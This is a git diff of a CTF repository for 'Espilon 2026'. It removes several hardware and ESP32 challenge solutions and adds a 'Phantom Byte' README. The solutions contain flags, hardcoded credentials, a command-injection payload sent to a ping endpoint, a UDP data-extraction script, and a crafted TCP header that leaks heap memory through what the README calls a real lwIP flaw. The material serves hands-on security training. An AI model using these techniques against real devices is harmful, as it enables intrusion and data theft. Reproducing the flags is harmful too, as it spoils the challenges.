Compare commits
No commits in common. "6a0877384d446f0f003742b9a5bc08c973fd7861" and "fc7e2236e3a0d34e31dd599a5344a3b92fc5d157" have entirely different histories.
6a0877384d
...
fc7e2236e3
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | ESP |
|
||||
| Difficulty | Easy |
|
||||
| Points | 100 |
|
||||
| Points | 50 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,63 +0,0 @@
|
||||
# ESP Start — Solution
|
||||
|
||||
**Difficulty:** Easy | **Category:** ESP | **Flag:** `ESPILON{st4rt_th3_w1r3}`
|
||||
|
||||
## Overview
|
||||
|
||||
Flash the provided firmware onto an ESP32. On boot, the device outputs an
|
||||
XOR-encrypted flag along with the XOR key via UART at 115200 baud.
|
||||
|
||||
## Step 1 — Flash the firmware
|
||||
|
||||
```bash
|
||||
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
||||
0x1000 bootloader.bin \
|
||||
0x8000 partition-table.bin \
|
||||
0x10000 hello-espilon.bin
|
||||
```
|
||||
|
||||
## Step 2 — Read the UART output
|
||||
|
||||
```bash
|
||||
screen /dev/ttyUSB0 115200
|
||||
# Or:
|
||||
minicom -D /dev/ttyUSB0 -b 115200
|
||||
```
|
||||
|
||||
The device prints:
|
||||
|
||||
```text
|
||||
=== Hello ESP ===
|
||||
System ready.
|
||||
|
||||
Encrypted flag: 09 12 19 07 00 0E 07 35 3F 35 7D 3C 38 1E 3D 26 7F 1E 3E 7F 3E 72 34
|
||||
XOR Key: 4C 41 49 4E
|
||||
```
|
||||
|
||||
## Step 3 — Decrypt the flag
|
||||
|
||||
XOR key is `LAIN` (`4C 41 49 4E`). Apply it cyclically:
|
||||
|
||||
```python
|
||||
enc = bytes([0x09,0x12,0x19,0x07,0x00,0x0E,0x07,0x35,
|
||||
0x3F,0x35,0x7D,0x3C,0x38,0x1E,0x3D,0x26,
|
||||
0x7F,0x1E,0x3E,0x7F,0x3E,0x72,0x34])
|
||||
key = b"LAIN"
|
||||
flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(enc))
|
||||
print(flag.decode())
|
||||
# ESPILON{st4rt_th3_w1r3}
|
||||
```
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **ESP32 flashing**: `esptool.py` writes bootloader, partition table, and application at their respective offsets
|
||||
- **UART monitoring**: ESP32 default baud rate is 115200, 8N1
|
||||
- **XOR cipher**: Simple symmetric cipher — key is broadcast in plaintext here as an intro challenge
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{st4rt_th3_w1r3}`
|
||||
|
||||
## Author
|
||||
|
||||
Eun0us
|
||||
@ -1,173 +0,0 @@
|
||||
# Jnouner Router — Solution
|
||||
|
||||
**Category:** ESP | **Type:** Multi-part (4 flags)
|
||||
|
||||
| Flag | Name | Points | Flag value |
|
||||
|------|-----------------|--------|-----------------------------------|
|
||||
| 1/4 | Console Access | 100 | `ESPILON{Jn0un3d_4dM1N}` |
|
||||
| 2/4 | 802.11 TX | 200 | `ESPILON{802_11_tx_jnned}` |
|
||||
| 3/4 | Admin Panel | 300 | `ESPILON{Adm1n_4r3_jn0uned}` |
|
||||
| 4/4 | JMP Protocol | 400 | `ESPILON{Jn0un3d_UDP_Pr0t0c0l}` |
|
||||
|
||||
## Setup
|
||||
|
||||
Flash the firmware on an ESP32:
|
||||
|
||||
```bash
|
||||
esptool.py --chip esp32 --port /dev/ttyUSB0 --baud 460800 write_flash -z \
|
||||
0x1000 bootloader.bin \
|
||||
0x8000 partition-table.bin \
|
||||
0x10000 jnouned_router.bin
|
||||
```
|
||||
|
||||
Open the UART console:
|
||||
|
||||
```bash
|
||||
screen /dev/ttyUSB0 115200
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Flag 1 — Console Access
|
||||
|
||||
The UART console shows a `jnoun-console>` prompt. The password is hardcoded in
|
||||
the firmware as three concatenated parts. Read the ELF strings or reverse
|
||||
`build_admin_password()` in `admin.c`:
|
||||
|
||||
```
|
||||
p1 = "jnoun-"
|
||||
p2 = "admin-"
|
||||
p3 = "2022"
|
||||
→ password = "jnoun-admin-2022"
|
||||
```
|
||||
|
||||
```text
|
||||
admin_login jnoun-admin-2022
|
||||
```
|
||||
|
||||
Flag 1 is printed on success.
|
||||
|
||||
---
|
||||
|
||||
## Flag 2 — 802.11 TX
|
||||
|
||||
From the admin console, trigger 802.11 frame emission:
|
||||
|
||||
```text
|
||||
settings ← reveals WiFi SSID/PSK (XOR-obfuscated in firmware)
|
||||
start_emitting ← starts sending raw 802.11 data frames for 90 seconds
|
||||
```
|
||||
|
||||
WiFi credentials recovered from firmware (`wifi.c`, XOR key `0x37`):
|
||||
|
||||
- **SSID**: `Jnoun-3E4C`
|
||||
- **PSK**: `LAIN_H4v3_Ajnoun`
|
||||
|
||||
Put a WiFi card into **monitor mode** and capture the 802.11 frames while the
|
||||
flooder runs. Among random noise frames, one frame (emitted at a random time
|
||||
between 5 and 85 seconds) contains flag 2 in its payload:
|
||||
|
||||
```bash
|
||||
airmon-ng start wlan0
|
||||
tcpdump -i wlan0mon -w capture.pcap
|
||||
# or
|
||||
tshark -i wlan0mon -w capture.pcap
|
||||
```
|
||||
|
||||
Filter for non-noise frames (payload not all-random). Flag 2 appears as cleartext
|
||||
in the 802.11 data frame payload.
|
||||
|
||||
---
|
||||
|
||||
## Flag 3 — Admin Panel
|
||||
|
||||
Connect to the WiFi AP (`Jnoun-3E4C` / `LAIN_H4v3_Ajnoun`). The router runs an
|
||||
HTTP server at `http://192.168.4.1`.
|
||||
|
||||
Login with default credentials: `admin` / `admin`.
|
||||
|
||||
The `/admin` page contains a "ping" form that posts to `/api/ping`. The admin
|
||||
page hints: *"Parser séparateur ';'"* — the internal shell splits on `;`.
|
||||
|
||||
Inject via the `target` field:
|
||||
|
||||
```text
|
||||
POST /api/ping
|
||||
target=192.168.1.1; flag
|
||||
```
|
||||
|
||||
Flag 3 is printed to the UART console (`ESP_LOGE` output).
|
||||
|
||||
Or URL-encoded via curl:
|
||||
|
||||
```bash
|
||||
curl -b "auth=1" -X POST http://192.168.4.1/api/ping \
|
||||
-d "target=x%3B+flag"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Flag 4 — JMP Protocol
|
||||
|
||||
From the admin panel, trigger the exfiltration session:
|
||||
|
||||
```text
|
||||
target=x; start_session
|
||||
```
|
||||
|
||||
The UART console shows:
|
||||
|
||||
```text
|
||||
JMP Server listening on UDP:6999
|
||||
PROTOCOL INITIALIZATION LEAK:
|
||||
Magic: 0x4A4D5021
|
||||
Auth hash (SHA256): <hash>
|
||||
Hint: Secret pattern is JNOUNER_SECRET_XXXX
|
||||
```
|
||||
|
||||
The secret is `JNOUNER_SECRET_EXFILTRATION`. Authenticate with its SHA256 hash,
|
||||
then request data blocks:
|
||||
|
||||
```python
|
||||
import socket, struct, hashlib
|
||||
|
||||
HOST = "192.168.4.1"
|
||||
PORT = 6999
|
||||
MAGIC = 0x4A4D5021
|
||||
SECRET = b"JNOUNER_SECRET_EXFILTRATION"
|
||||
|
||||
secret_hash = hashlib.sha256(SECRET).digest()
|
||||
|
||||
# AUTH_REQUEST: magic(4) + type(1=0x01) + hash(32)
|
||||
auth_pkt = struct.pack(">IB", MAGIC, 0x01) + secret_hash
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.sendto(auth_pkt, (HOST, PORT))
|
||||
|
||||
# AUTH_RESPONSE: magic(4) + type(1) + status(1) + token(4)
|
||||
resp, _ = sock.recvfrom(1024)
|
||||
magic, ptype, status, token = struct.unpack(">IBBI", resp[:10])
|
||||
print(f"Token: 0x{token:08x}")
|
||||
|
||||
# Request all blocks
|
||||
flag = b""
|
||||
for block_id in range(10):
|
||||
# DATA_REQUEST: magic(4) + type(1=0x10) + token(4) + block_id(1)
|
||||
req = struct.pack(">IBIB", MAGIC, 0x10, token, block_id)
|
||||
sock.sendto(req, (HOST, PORT))
|
||||
resp, _ = sock.recvfrom(1024)
|
||||
|
||||
# DATA_RESPONSE: magic(4)+type(1)+block_id(1)+total_blocks(1)+data_len(1)+data(N)+checksum(2)
|
||||
if len(resp) < 8:
|
||||
break
|
||||
_, _, bid, total, dlen = struct.unpack(">IBBBB", resp[:8])
|
||||
data = resp[8:8+dlen]
|
||||
flag += data
|
||||
if bid + 1 >= total:
|
||||
break
|
||||
|
||||
print(flag.decode())
|
||||
```
|
||||
|
||||
## Author
|
||||
|
||||
Eun0us
|
||||
227
ESP/Phantom_Byte/README.md
Normal file
@ -0,0 +1,227 @@
|
||||
# Phantom Byte
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Category | ESP |
|
||||
| Difficulty | Multi-part (Easy to Hard) |
|
||||
| Points | 100 / 200 / 300 / 500 (4 flags) |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
---
|
||||
|
||||
## Description
|
||||
|
||||
An ESP32 device was seized during a raid on an underground hackerspace.
|
||||
It is a relay node for a mesh network called **"The Wire"**.
|
||||
|
||||
The node's WiFi AP is still broadcasting. A debug probe is exposed on its TCP input path.
|
||||
|
||||
*Peel back the layers. Extract every secret this node is hiding.*
|
||||
|
||||
**WiFi:** `Phantom_Node` / `thewire2026`
|
||||
**Service:** `tcp://192.168.4.1:1337`
|
||||
|
||||
*"Close this world. Open the nEXt."*
|
||||
|
||||
---
|
||||
|
||||
## TL;DR
|
||||
|
||||
Four-layer progressive challenge based on a **real lwIP vulnerability** in
|
||||
`tcp_get_next_optbyte()`. Layer 1: read base64 from UART boot log. Layer 2: find
|
||||
a hidden command. Layer 3: heap-leak via crafted TCP option header (trace mode). Layer 4:
|
||||
blind extraction using the TCP Timestamp option as an oracle.
|
||||
|
||||
---
|
||||
|
||||
## Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| `esptool.py` | Flash firmware to ESP32 |
|
||||
| `screen` / `minicom` | Read UART boot log |
|
||||
| `nc` | Connect to TCP service on port 1337 |
|
||||
| Python 3 | Automated exploit / solve script |
|
||||
|
||||
---
|
||||
|
||||
## Flags Summary
|
||||
|
||||
| Flag | Name | Points | Value |
|
||||
|------|------|--------|-------|
|
||||
| 1/4 | Signal | 100 | `ESPILON{u4rt_s33s_4ll}` |
|
||||
| 2/4 | Backdoor | 200 | `ESPILON{h1dd3n_c0nf1g}` |
|
||||
| 3/4 | Memory Bleed | 300 | `ESPILON{ph4nt0m_byt3_h34p_l34k}` |
|
||||
| 4/4 | Blind Oracle | 500 | `ESPILON{bl1nd_str4ddl3}` |
|
||||
|
||||
---
|
||||
|
||||
## Solution
|
||||
|
||||
### Setup
|
||||
|
||||
Flash firmware, connect to WiFi AP `Phantom_Node` / `thewire2024`, then:
|
||||
|
||||
```bash
|
||||
nc 192.168.4.1 1337
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Flag 1 — Signal
|
||||

|
||||
(100 pts)
|
||||
|
||||
Monitor the UART output during boot. Among the diagnostic lines:
|
||||
|
||||
```
|
||||
[ 0.089] DIAG:b64:RVNQSU9Me3U0cnRfczMzc180bGx9
|
||||
```
|
||||
|
||||
Decode the base64:
|
||||
|
||||
```bash
|
||||
echo "RVNQSU9Me3U0cnRfczMzc180bGx9" | base64 -d
|
||||
# ESPILON{u4rt_s33s_4ll}
|
||||
```
|
||||
|
||||

|
||||
|
||||
Submit over TCP:
|
||||
|
||||
```text
|
||||
ph> unlock ESPILON{u4rt_s33s_4ll}
|
||||
>> sequence accepted.
|
||||
>> layer 2 unlocked. you're getting closer to the wire.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Flag 2 — Backdoor (200 pts)
|
||||
|
||||
In layer 2, `help` lists the documented commands. The `mem` output hints:
|
||||
|
||||
```
|
||||
ph> mem
|
||||
>> secrets cached in the wire
|
||||
```
|
||||
|
||||
And `info` shows:
|
||||
|
||||
```
|
||||
>> backdoor: [CLASSIFIED]
|
||||
```
|
||||
|
||||
The hidden command is `wire`:
|
||||
|
||||
```text
|
||||
ph> wire
|
||||
>> accessing the wire...
|
||||
>> config_cache dump:
|
||||
>> ESPILON{h1dd3n_c0nf1g}
|
||||
```
|
||||
|
||||

|
||||
|
||||
Submit:
|
||||
|
||||
```text
|
||||
ph> unlock ESPILON{h1dd3n_c0nf1g}
|
||||
>> layer 3 unlocked. careful. the deeper you go, the less you come back.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Flag 3 — Memory Bleed (300 pts)
|
||||
|
||||
In layer 3, enable debug tracing:
|
||||
|
||||
```text
|
||||
ph> trace on
|
||||
>> trace enabled.
|
||||
```
|
||||
|
||||
The vulnerability: `tcp_get_next_optbyte()` uses `doff * 4` as the claimed option
|
||||
length without checking that it stays within the actual received segment bytes. Build
|
||||
a 20-byte TCP header with Data Offset = 15 (claims 40 option bytes, 20 more than present):
|
||||
|
||||
```
|
||||
Bytes 12-13: F002 (doff=15, flags=SYN)
|
||||
Full: 053900500000000100000000f002ffff00000000
|
||||
```
|
||||
|
||||
```text
|
||||
ph> inject 053900500000000100000000f002ffff00000000
|
||||
```
|
||||
|
||||
The trace output shows each out-of-bounds byte read from the adjacent `config_cache`:
|
||||
|
||||
```
|
||||
[TRACE] tcp_get_next_optbyte:
|
||||
[ 20] 0x45 << oob
|
||||
[ 21] 0x53 << oob
|
||||
[ 22] 0x50 << oob
|
||||
[ 23] 0x49 << oob
|
||||
...
|
||||
```
|
||||
|
||||
Convert the oob bytes to ASCII: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
|
||||
|
||||

|
||||
|
||||
---
|
||||
|
||||
### Flag 4 — Blind Oracle (500 pts)
|
||||
|
||||
Disable trace output — no more per-byte visibility:
|
||||
|
||||
```text
|
||||
ph> trace off
|
||||
```
|
||||
|
||||
The vulnerability still exists, but now the only feedback is the **parsed option
|
||||
values** emitted as structured output. Use the TCP Timestamp option (kind=8, len=10)
|
||||
to straddle the segment boundary. The 8 data bytes (TSval + TSecr) are read from OOB
|
||||
heap memory, but their values are returned as decimal numbers in the response.
|
||||
|
||||
**Extraction technique:**
|
||||
|
||||
Place the Timestamp kind+len bytes as the last 2 in-bounds bytes. The 8 value bytes
|
||||
are read from the adjacent flag buffer.
|
||||
|
||||
- Chunk 1 (bytes 0–7): `>> opt: TS=1163150159/1280267387`
|
||||
- `1163150159 = 0x45535049` → `ESPI`
|
||||
- `1280267387 = 0x4C4F4E7B` → `LON{`
|
||||
|
||||
- Chunk 2 (bytes 8–15): decode TSval/TSecr → `bl1n` / `d_st`
|
||||
|
||||
- Chunk 3 (bytes 16–22): decode TSval/TSecr → `r4dd` / `l3}\x00`
|
||||
|
||||
Reconstruct: `ESPILON{bl1nd_str4ddl3}`
|
||||
|
||||

|
||||
|
||||
Automated solver:
|
||||
|
||||
```bash
|
||||
python3 solve.py 192.168.4.1 1337
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Real-world Context
|
||||
|
||||
This challenge is based on a **real vulnerability** found in lwIP 2.1.3 (ESP-IDF v5.3).
|
||||
The function `tcp_get_next_optbyte()` in `tcp_in.c` does not validate that the option
|
||||
index stays within the pbuf's actual payload length. A remote attacker can send a crafted
|
||||
TCP packet to any ESP32 with an open TCP port and leak adjacent heap memory.
|
||||
|
||||
---
|
||||
|
||||
## Flag
|
||||
|
||||
- Flag 1: `ESPILON{u4rt_s33s_4ll}`
|
||||
- Flag 2: `ESPILON{h1dd3n_c0nf1g}`
|
||||
- Flag 3: `ESPILON{ph4nt0m_byt3_h34p_l34k}`
|
||||
- Flag 4: `ESPILON{bl1nd_str4ddl3}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 400 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,62 +0,0 @@
|
||||
# CAN Bus Implant — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Simulated CAN bus with background traffic and UDS (Unified Diagnostic Services) protocol. Player sniffs traffic to identify patterns, then injects UDS frames to gain security access and read a protected DID.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Open two terminals — one for sniffing, one for injection:
|
||||
|
||||
```bash
|
||||
# Terminal 1: Sniff
|
||||
nc <host> 3600
|
||||
|
||||
# Terminal 2: Inject
|
||||
nc <host> 3601
|
||||
```
|
||||
|
||||
2. Observe traffic on the sniff port. Note the following patterns:
|
||||
- `0x100`: Heartbeat (periodic counter)
|
||||
- `0x200-0x203`: Sensor data (temperature, heart rate)
|
||||
- `0x7DF`: OBD broadcast diagnostic request
|
||||
- `0x7E0` → `0x7E8`: UDS request/response pair (periodic VIN read)
|
||||
|
||||
3. On the inject port, enter extended diagnostic session:
|
||||
|
||||
```
|
||||
send 7E0 02 10 03 00 00 00 00 00
|
||||
```
|
||||
|
||||
Response on sniff shows `0x7E8` with positive response `50 03`.
|
||||
|
||||
4. Request a security seed:
|
||||
|
||||
```
|
||||
send 7E0 02 27 01 00 00 00 00 00
|
||||
```
|
||||
|
||||
Response contains 4-byte seed: `67 01 XX XX XX XX`.
|
||||
|
||||
5. Compute the key by XORing each seed byte with `0x42`, then send:
|
||||
|
||||
```
|
||||
send 7E0 06 27 02 KK KK KK KK 00
|
||||
```
|
||||
|
||||
Positive response: `67 02`.
|
||||
|
||||
6. Read the flag from DID 0xFF01:
|
||||
|
||||
```
|
||||
send 7E0 03 22 FF 01 00 00 00 00
|
||||
```
|
||||
|
||||
Response contains the flag.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **CAN bus**: Controller Area Network — no authentication, broadcast medium, used in vehicles and medical equipment
|
||||
- **UDS (ISO 14229)**: Diagnostic protocol with services like DiagnosticSessionControl, SecurityAccess, ReadDataByIdentifier
|
||||
- **SecurityAccess**: Challenge-response authentication — ECU sends seed, tester must compute correct key
|
||||
- **Traffic analysis**: Identifying request/response patterns and protocol types from raw bus traffic
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 100 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,54 +0,0 @@
|
||||
# Glitch The Wired — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Simulated voltage glitching attack on a WIRED-MED secure boot module. The goal is to inject a fault during the signature verification phase to bypass it and access the debug console.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect to the glitch lab:
|
||||
|
||||
```bash
|
||||
nc <host> 3700
|
||||
```
|
||||
|
||||
2. Observe the boot sequence:
|
||||
|
||||
```
|
||||
observe
|
||||
```
|
||||
|
||||
Note the cycle ranges — SIG_VERIFY runs at cycles 3200-3400.
|
||||
|
||||
3. Configure glitch parameters:
|
||||
|
||||
```
|
||||
set_delay 3300
|
||||
set_width 20
|
||||
```
|
||||
|
||||
The delay targets the middle of the SIG_VERIFY window. Width of 10-30 cycles works.
|
||||
|
||||
4. Arm and trigger:
|
||||
|
||||
```
|
||||
arm
|
||||
trigger
|
||||
```
|
||||
|
||||
If successful, the boot log shows "SIG_VERIFY ....... SKIPPED" and a debug shell activates.
|
||||
|
||||
5. Read the debug console:
|
||||
|
||||
```
|
||||
read_console
|
||||
```
|
||||
|
||||
The flag is in the maintenance token output.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **Voltage glitching**: Briefly disrupting power supply to cause CPU instruction skips
|
||||
- **Secure boot bypass**: Skipping signature verification allows unsigned code to run
|
||||
- **Timing precision**: The glitch must overlap with the target operation's execution window
|
||||
- **Width matters**: Too short = transient recovery, too wide = brown-out crash
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 442 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,69 +0,0 @@
|
||||
# NAVI I2C Sniff — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Simulated I2C bus with 3 devices on Lain's NAVI computer. The EEPROM holds an XOR-encrypted flag, the crypto IC holds the key (but is locked), and the temp sensor has a hint.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect:
|
||||
|
||||
```bash
|
||||
nc <host> 3300
|
||||
```
|
||||
|
||||
2. Scan the bus:
|
||||
|
||||
```
|
||||
scan
|
||||
```
|
||||
|
||||
Finds 3 devices: 0x50 (EEPROM), 0x48 (Temp), 0x60 (Crypto IC).
|
||||
|
||||
3. Read the temp sensor's hidden register:
|
||||
|
||||
```
|
||||
read 0x48 0x07 16
|
||||
```
|
||||
|
||||
Returns `key@0x60:0x10` — hint pointing to crypto IC register 0x10.
|
||||
|
||||
4. Try reading the crypto key:
|
||||
|
||||
```
|
||||
read 0x60 0x10 32
|
||||
```
|
||||
|
||||
Returns all zeros — the IC is locked.
|
||||
|
||||
5. Check lock status and unlock:
|
||||
|
||||
```
|
||||
read 0x60 0x00 1 # Returns 0x01 (locked)
|
||||
write 0x60 0x00 0xA5 # Unlock code
|
||||
```
|
||||
|
||||
6. Read the XOR key:
|
||||
|
||||
```
|
||||
read 0x60 0x10 32
|
||||
```
|
||||
|
||||
Now returns the actual key: `NAVI_WIRED_I2C_CRYPTO_KEY_2024!!`
|
||||
|
||||
7. Read the EEPROM:
|
||||
|
||||
```
|
||||
read 0x50 0x00 64
|
||||
```
|
||||
|
||||
Returns XOR-encrypted data.
|
||||
|
||||
8. XOR decrypt EEPROM data with the key to get the flag.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **I2C bus scanning**: Enumerate devices by sending start conditions to all 7-bit addresses
|
||||
- **Multi-device interaction**: Information from one device unlocks another
|
||||
- **Access control**: The crypto IC requires an unlock sequence before revealing the key
|
||||
- **XOR encryption**: Simple symmetric cipher used for data at rest in EEPROM
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 464 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,61 +0,0 @@
|
||||
# Phantom JTAG — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Simulated JTAG debug port with IEEE 1149.1 TAP state machine. The debug interface is locked and requires a key to unlock. Once unlocked, memory can be read to extract the flag.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect:
|
||||
|
||||
```bash
|
||||
nc <host> 3400
|
||||
```
|
||||
|
||||
2. Reset the TAP controller:
|
||||
|
||||
```
|
||||
reset
|
||||
```
|
||||
|
||||
3. Read device IDCODE:
|
||||
|
||||
```
|
||||
ir 1
|
||||
dr 00000000 32
|
||||
```
|
||||
|
||||
Returns `0x4BA00477` (ARM Cortex-M like device).
|
||||
|
||||
4. Unlock debug interface — load IR instruction 0x5 and send key `0xDEAD`:
|
||||
|
||||
```
|
||||
ir 5
|
||||
dr DEAD 16
|
||||
```
|
||||
|
||||
Check with `state` — should show "Debug: UNLOCKED".
|
||||
|
||||
5. Read memory — load MEM_READ instruction (IR 0x8):
|
||||
|
||||
```
|
||||
ir 8
|
||||
```
|
||||
|
||||
6. Dump flag from memory at 0x1000:
|
||||
|
||||
```
|
||||
dr 1000 16
|
||||
dr 00000000 32
|
||||
```
|
||||
|
||||
The first `dr` sends the address, the second reads the 32-bit word at that address. Repeat for addresses 0x1000, 0x1004, 0x1008... until the full flag is recovered.
|
||||
|
||||
7. Convert the 32-bit little-endian words back to ASCII to reconstruct the flag.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **JTAG TAP state machine**: IEEE 1149.1 defines a 16-state FSM controlled by TMS signal
|
||||
- **IR/DR registers**: Instruction Register selects the operation, Data Register carries parameters/results
|
||||
- **Debug port locking**: Many chips have a lock mechanism requiring a key to enable debug access
|
||||
- **Memory dump via JTAG**: Once debug is unlocked, arbitrary memory reads are possible
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Easy |
|
||||
| Points | 50 |
|
||||
| Points | 150 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,45 +0,0 @@
|
||||
# Serial Experimental 00 -- Solution
|
||||
|
||||
## Overview
|
||||
|
||||
The challenge provides a split UART interface:
|
||||
|
||||
- TX (read): `1111`
|
||||
- RX (write): `2222`
|
||||
|
||||
Goal: recover token and run `unlock <token>`.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Open both channels:
|
||||
|
||||
```bash
|
||||
nc <host> 1111
|
||||
nc <host> 2222
|
||||
```
|
||||
|
||||
2. Query diagnostics from RX:
|
||||
|
||||
```text
|
||||
diag.uart
|
||||
diag.eeprom
|
||||
diag.order
|
||||
```
|
||||
|
||||
3. Recover fragments:
|
||||
|
||||
- `frag_a_hex=4c41494e` -> `LAIN`
|
||||
- `frag_b_xor_hex=4056415a525f` with `xor_key=0x13` -> `SERIAL`
|
||||
- `frag_c_hex=3030` -> `00`
|
||||
|
||||
4. Build token:
|
||||
|
||||
`LAIN-SERIAL-00`
|
||||
|
||||
5. Unlock:
|
||||
|
||||
```text
|
||||
unlock LAIN-SERIAL-00
|
||||
```
|
||||
|
||||
6. Flag is returned on TX.
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 100 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,57 +0,0 @@
|
||||
# Signal Tap Lain — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
A logic analyzer capture is streamed with 3 channels. Channel 1 (ch1) contains
|
||||
UART data at 9600 baud, 8N1 format. The player must identify the protocol from
|
||||
signal timing and decode the ASCII message.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect and capture the data:
|
||||
|
||||
```bash
|
||||
nc <host> 3800 > capture.csv
|
||||
```
|
||||
|
||||
Wait for `--- END OF CAPTURE ---`.
|
||||
|
||||
1. Analyze the capture. Use `info` command for metadata:
|
||||
|
||||
```text
|
||||
info
|
||||
```
|
||||
|
||||
Shows 3 channels: ch0 (reference), ch1 (data), ch2 (noise).
|
||||
|
||||
1. Focus on ch1. Look for patterns:
|
||||
|
||||
- Idle state is HIGH (1)
|
||||
- Periodic falling edges = start bits
|
||||
- Measure time between start bits to find character period
|
||||
|
||||
1. Calculate baud rate:
|
||||
|
||||
- Bit period ≈ 104.17 μs → 9600 baud
|
||||
- Character frame = 10 bits (1 start + 8 data + 1 stop) = ~1041.67 μs
|
||||
|
||||
1. Decode UART 8N1:
|
||||
|
||||
- Start bit: falling edge (HIGH → LOW)
|
||||
- Sample data bits at center of each bit period (1.5 × bit_period after start)
|
||||
- 8 data bits, LSB first
|
||||
- Stop bit: HIGH
|
||||
|
||||
1. Script or manually decode the ch1 data to ASCII. The message contains the flag
|
||||
repeated 3 times.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **Logic analysis**: Reading digital signals and identifying protocols from timing patterns
|
||||
- **UART 8N1**: Universal Asynchronous Receiver/Transmitter — start bit, 8 data bits LSB-first, no parity, 1 stop bit
|
||||
- **Baud rate detection**: Measuring the shortest pulse width gives the bit period → baud rate
|
||||
- **Signal separation**: In a multi-channel capture, identifying which channel carries useful data
|
||||
|
||||
## Flag
|
||||
|
||||
`ESPILON{s1gn4l_t4p_l41n}`
|
||||
@ -4,7 +4,7 @@
|
||||
|-------|-------|
|
||||
| Category | Hardware |
|
||||
| Difficulty | Medium-Hard |
|
||||
| Points | 100 |
|
||||
| Points | 500 |
|
||||
| Author | Eun0us |
|
||||
| CTF | Espilon 2026 |
|
||||
|
||||
|
||||
@ -1,53 +0,0 @@
|
||||
# Wired SPI Exfil — Solution
|
||||
|
||||
## Overview
|
||||
|
||||
Simulated SPI flash chip from a WIRED-MED module. Standard SPI flash commands are used to read chip contents. A hidden partition not listed in the normal partition table contains the XOR-encrypted flag. The SFDP table has vendor-specific parameters that reveal the hidden sector.
|
||||
|
||||
## Steps
|
||||
|
||||
1. Connect and assert CS:
|
||||
|
||||
```bash
|
||||
nc <host> 3500
|
||||
cs 0
|
||||
```
|
||||
|
||||
2. Read chip ID:
|
||||
|
||||
```
|
||||
tx 9F
|
||||
```
|
||||
|
||||
Returns `EF 40 18` = Winbond W25Q128.
|
||||
|
||||
3. Read the SFDP table to discover hidden sectors:
|
||||
|
||||
```
|
||||
tx 5A 00 00 00 00
|
||||
```
|
||||
|
||||
SFDP header shows 2 parameter tables. Read vendor table at offset 0x80:
|
||||
|
||||
```
|
||||
tx 5A 00 00 80 00
|
||||
```
|
||||
|
||||
Vendor data shows a hidden partition at `0x030000` labeled "HIDDEN".
|
||||
|
||||
4. Read the hidden partition:
|
||||
|
||||
```
|
||||
tx 03 03 00 00
|
||||
```
|
||||
|
||||
Data starts with `WIRED_HIDDEN_PARTITION` header, followed by encrypted bytes.
|
||||
|
||||
5. XOR the encrypted data with key `WIRED_SPI` to get the flag.
|
||||
|
||||
## Key Concepts
|
||||
|
||||
- **SPI flash commands**: Standard opcodes (RDID, READ, SFDP) work across most flash chips
|
||||
- **SFDP**: Serial Flash Discoverable Parameters — a standardized way to query flash capabilities. Vendor extensions can hide extra information
|
||||
